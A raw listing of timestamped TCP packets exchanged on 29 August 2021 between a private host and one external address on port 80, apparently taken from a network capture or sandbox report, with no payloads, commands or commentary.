Aug 29, 2021 22:28:53.835314035 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.865217924 CEST	80	49995	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.865370035 CEST	49995	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.869394064 CEST	80	49996	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.869534016 CEST	49996	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.870373964 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.870488882 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.874197960 CEST	49996	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.878019094 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.878096104 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.878537893 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.878770113 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.909471989 CEST	80	49996	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.913103104 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.913132906 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.913630009 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.913665056 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.913691044 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.913693905 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.913733006 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.913741112 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.913938046 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.914014101 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.914061069 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.914114952 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.914231062 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.914284945 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.949378967 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.949453115 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.949486017 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.949511051 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.949532986 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.949537992 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.949563980 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.949577093 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.949594021 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.949636936 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.949656963 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.949673891 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.949744940 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.949884892 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.949914932 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.949961901 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.949994087 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.950078964 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.950153112 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.950222015 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.950300932 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.950877905 CEST	80	49996	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.950989962 CEST	49996	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.984916925 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.984963894 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.984987974 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.985116005 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.985212088 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.985270977 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.985286951 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.985294104 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.985312939 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.985404015 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.985604048 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.985637903 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.985749960 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.985939980 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.985974073 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.986229897 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.986267090 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.986442089 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.986608028 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.986824036 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.020569086 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.020607948 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.020632029 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.020858049 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.021003962 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.021209955 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.021630049 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.060151100 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.060256958 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.141449928 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.141725063 CEST	49996	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.142699957 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.176841974 CEST	80	49996	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.176882982 CEST	80	49997	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.176980972 CEST	49996	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.177489042 CEST	49997	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.177869081 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.177961111 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.192004919 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.227328062 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.276460886 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.276535988 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.394821882 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.394903898 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.395075083 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.395260096 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.430732965 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.430766106 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.430785894 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.430803061 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.430820942 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.430839062 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.430855036 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.430871964 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.430876970 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.430951118 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.430991888 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.468099117 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.468147993 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.468190908 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.468225002 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.468225002 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.468260050 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.468282938 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.468291044 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.468331099 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.468358040 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.468385935 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.468400955 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.477108002 CEST	49999	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.503442049 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.503488064 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.503554106 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.503582001 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.503633022 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.503647089 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.503732920 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.503894091 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.504187107 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.504255056 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.504417896 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.504443884 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.504566908 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.504776001 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.504936934 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.505094051 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.505121946 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.505326986 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.505351067 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.505440950 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.511989117 CEST	80	49999	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.512110949 CEST	49999	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.539103985 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.539201021 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.539237976 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.539268017 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.539290905 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.539315939 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.578267097 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.578362942 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.579510927 CEST	49999	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.614453077 CEST	80	49999	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.657860041 CEST	80	49999	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.657979965 CEST	49999	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.840430975 CEST	49999	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.840711117 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.841680050 CEST	50000	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.843399048 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.875322104 CEST	80	49999	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.875485897 CEST	49999	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.875777006 CEST	80	49998	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.875869989 CEST	49998	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.876157999 CEST	80	50000	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.876293898 CEST	50000	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.878307104 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.878403902 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.906678915 CEST	50000	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.907196045 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.907332897 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.907476902 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.907576084 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.941485882 CEST	80	50000	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.942418098 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.942475080 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.942548037 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.942575932 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.942648888 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.942651987 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.942698002 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.942738056 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.942831993 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.942871094 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.942981005 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.943011999 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.943023920 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.943146944 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.977943897 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.978046894 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.978055000 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.978137016 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.978142023 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.978221893 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.978319883 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.978352070 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.978414059 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.978435993 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.978499889 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.978585005 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.978672981 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.978760004 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.978871107 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.978908062 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.978971004 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.978996038 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:54.983223915 CEST	80	50000	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:54.983310938 CEST	50000	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.013293982 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.013338089 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.013364077 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.013389111 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.013427973 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.013602018 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.013761044 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.013928890 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.014014006 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.014168978 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.014193058 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.014286041 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.014446974 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.014702082 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.014877081 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.014909029 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.014941931 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.043884039 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.044028997 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.044102907 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.049211025 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.049259901 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.079308033 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.079334021 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.079353094 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.079478025 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.079565048 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.079613924 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.079793930 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.079812050 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.117701054 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.117806911 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.171681881 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.172341108 CEST	50000	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.173417091 CEST	50002	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.205748081 CEST	80	50002	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.205878973 CEST	50002	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.207283974 CEST	80	50000	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.207313061 CEST	80	50001	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.207355022 CEST	50000	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.207406998 CEST	50001	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.221076012 CEST	50002	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.253596067 CEST	80	50002	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.295752048 CEST	80	50002	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.295883894 CEST	50002	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.394121885 CEST	50002	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.395167112 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.426017046 CEST	80	50002	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.426114082 CEST	50002	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.430128098 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.430233955 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.441293001 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.441390038 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.441571951 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.441653013 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.470453978 CEST	50004	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.476418972 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.476439953 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.476604939 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.476613045 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.476620913 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.476720095 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.476780891 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.476917028 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.476960897 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.477005959 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.477025986 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.477155924 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.477178097 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.505984068 CEST	80	50004	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.506127119 CEST	50004	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.511591911 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.511636972 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.511652946 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.511687994 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.511740923 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.511750937 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.511801004 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.511815071 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.511878967 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.511972904 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.512052059 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.512286901 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.512305021 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.512371063 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.512417078 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.514736891 CEST	50004	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.546828985 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.546849966 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.546936035 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.546981096 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.546984911 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.547050953 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.547065973 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.547084093 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.547270060 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.547283888 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.550122023 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.550146103 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.550163984 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.550173998 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.550184965 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.550196886 CEST	80	50004	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.582379103 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.582401991 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.582411051 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.582425117 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.582437038 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.582593918 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.590384960 CEST	80	50004	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.590461016 CEST	50004	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.614825964 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.614928961 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.924499035 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.924958944 CEST	50004	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.926176071 CEST	50005	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.927663088 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.959929943 CEST	80	50003	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.959994078 CEST	80	50005	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.960032940 CEST	80	50004	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.960037947 CEST	50003	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.960072994 CEST	50005	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.960117102 CEST	50004	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.960549116 CEST	50005	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.962764978 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.962877035 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.963399887 CEST	50006	80	192.168.2.4	46.17.96.36
